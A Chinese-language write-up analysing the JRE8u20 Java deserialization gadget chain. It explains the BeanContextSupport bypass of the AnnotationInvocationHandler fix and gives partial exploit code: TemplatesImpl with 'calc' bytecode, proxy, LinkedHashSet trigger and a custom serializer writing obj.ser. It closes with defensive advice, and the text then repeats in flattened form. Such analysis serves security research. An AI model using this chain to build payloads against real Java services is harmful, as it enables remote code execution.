JRE8u20 反序列化
字数 1540 2025-08-26 22:11:57

JRE8u20 反序列化漏洞分析与利用

概述

JRE8u20 反序列化漏洞结合了 JDK7u21 的构造原理,并通过 BeanContextSupport 类反序列化对异常的捕获,绕过了 AnnotationInvocationHandler 反序列化的修复。该漏洞涉及以下关键知识点:

  • Java 序列化和反序列化机制
  • Java 反射机制
  • 动态代理技术
  • 异常处理机制
  • 对象引用机制

漏洞背景

JDK7u21 漏洞修复

在 JDK1.8.0_20 中,对 AnnotationInvocationHandler 类的反序列化进行了修复:

try {
    var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

this.type 字段不是 Annotation 类型时(如设置为 Templates.class),会抛出异常,导致反序列化失败。

JRE8u20 绕过思路

JRE8u20 利用以下关键点绕过修复:

  1. 序列化引用机制:Java 序列化时会为每个对象分配 handle,重复对象会写入引用而非完整对象
  2. 异常捕获:寻找能捕获 AnnotationInvocationHandler 异常并继续执行的类
  3. 引用利用:让 HashSet 的 readObject 方法直接读取 AnnotationInvocationHandler 对象的引用

关键技术点

寻找合适的类

需要满足以下条件的类:

  1. 实现 Serializable 接口
  2. 重写了 readObject 方法
  3. readObject 方法中调用了其他对象的 readObject 并捕获异常继续执行

JRE8u20 中使用的是 java.beans.beancontext.BeanContextSupport 类,其关键代码如下:

try {
    child = ois.readObject();
    bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
    continue;
} catch (ClassNotFoundException cnfe) {
    continue;
}

BeanContextSupport 类分析

BeanContextSupport 类的反序列化流程:

  1. 调用默认反序列化方法 ois.defaultReadObject()
  2. 初始化字段
  3. serializable > 0this.equals(getBeanContextPeer()) 时调用 readChildren 方法
  4. 反序列化监听器列表

序列化构造要点

构造恶意序列化数据时需要:

  1. 设置 serializable 字段为 1
  2. 设置 beanContextChildPeer 字段为当前对象
  3. 按特定顺序写入对象:
    • 先写入 defaultWriteObject()
    • 然后写入 InvocationHandler 对象
    • 最后写入 bout.writeInt(0)

漏洞利用步骤

1. 准备恶意类

使用 TemplatesImpl 加载恶意字节码:

TemplatesImpl calc = JDK7u21.createTemplatesImpl("calc", 
    TemplatesImpl.class, 
    AbstractTranslet.class, 
    TransformerFactoryImpl.class);

2. 构造代理对象

HashMap map = new HashMap();
map.put("f5a5a608", "aaaa");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
    "sun.reflect.annotation.AnnotationInvocationHandler")
    .newInstance(Templates.class, map);

final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(
    JDK7u21.class.getClassLoader(), 
    allIfaces, 
    tempHandler);

3. 构造触发集合

LinkedHashSet set = new LinkedHashSet();
set.add(calc);
set.add(templates);

4. 修改序列化流程

需要修改以下关键点:

  1. HashSet 类:构造假字段,类型为 BeanContextSupport
  2. AnnotationInvocationHandler:设置 hasWriteObjectData 为 true
  3. writeSerialData 方法:根据类名定制序列化流程
  4. defaultWriteFields 方法:为假字段写入 BeanContextSupport 对象

5. 生成恶意序列化数据

TCObjectOutputStream oos = new TCObjectOutputStream(
    new FileOutputStream("obj.ser"));
oos.setTemplates(templates);
oos.setTemplatesImpl(calc);
oos.setInvocationHandler(tempHandler);
oos.setBeanContextSupport(bcs);
oos.setLhs(set);

oos.writeObject0(set);

防御措施

  1. 升级 JDK 到最新版本
  2. 使用安全的反序列化方式,如 JSON
  3. 实施输入验证和过滤
  4. 使用安全管理器限制反序列化操作
  5. 使用白名单机制控制可反序列化的类

参考资源

  1. JRE8u20 RCE Gadget
  2. Java反序列化漏洞分析
  3. Java序列化机制详解

通过深入理解这些技术细节,安全研究人员可以更好地防御此类漏洞,同时也能够开发更有效的检测和利用工具。

JRE8u20 反序列化漏洞分析与利用 概述 JRE8u20 反序列化漏洞结合了 JDK7u21 的构造原理,并通过 BeanContextSupport 类反序列化对异常的捕获,绕过了 AnnotationInvocationHandler 反序列化的修复。该漏洞涉及以下关键知识点: Java 序列化和反序列化机制 Java 反射机制 动态代理技术 异常处理机制 对象引用机制 漏洞背景 JDK7u21 漏洞修复 在 JDK1.8.0_ 20 中,对 AnnotationInvocationHandler 类的反序列化进行了修复: 当 this.type 字段不是 Annotation 类型时(如设置为 Templates.class),会抛出异常,导致反序列化失败。 JRE8u20 绕过思路 JRE8u20 利用以下关键点绕过修复: 序列化引用机制 :Java 序列化时会为每个对象分配 handle,重复对象会写入引用而非完整对象 异常捕获 :寻找能捕获 AnnotationInvocationHandler 异常并继续执行的类 引用利用 :让 HashSet 的 readObject 方法直接读取 AnnotationInvocationHandler 对象的引用 关键技术点 寻找合适的类 需要满足以下条件的类: 实现 Serializable 接口 重写了 readObject 方法 readObject 方法中调用了其他对象的 readObject 并捕获异常继续执行 JRE8u20 中使用的是 java.beans.beancontext.BeanContextSupport 类,其关键代码如下: BeanContextSupport 类分析 BeanContextSupport 类的反序列化流程: 调用默认反序列化方法 ois.defaultReadObject() 初始化字段 当 serializable > 0 且 this.equals(getBeanContextPeer()) 时调用 readChildren 方法 反序列化监听器列表 序列化构造要点 构造恶意序列化数据时需要: 设置 serializable 字段为 1 设置 beanContextChildPeer 字段为当前对象 按特定顺序写入对象: 先写入 defaultWriteObject() 然后写入 InvocationHandler 对象 最后写入 bout.writeInt(0) 漏洞利用步骤 1. 准备恶意类 使用 TemplatesImpl 加载恶意字节码: 2. 构造代理对象 3. 构造触发集合 4. 修改序列化流程 需要修改以下关键点: HashSet 类 :构造假字段,类型为 BeanContextSupport AnnotationInvocationHandler :设置 hasWriteObjectData 为 true writeSerialData 方法 :根据类名定制序列化流程 defaultWriteFields 方法 :为假字段写入 BeanContextSupport 对象 5. 生成恶意序列化数据 防御措施 升级 JDK 到最新版本 使用安全的反序列化方式,如 JSON 实施输入验证和过滤 使用安全管理器限制反序列化操作 使用白名单机制控制可反序列化的类 参考资源 JRE8u20 RCE Gadget Java反序列化漏洞分析 Java序列化机制详解 通过深入理解这些技术细节,安全研究人员可以更好地防御此类漏洞,同时也能够开发更有效的检测和利用工具。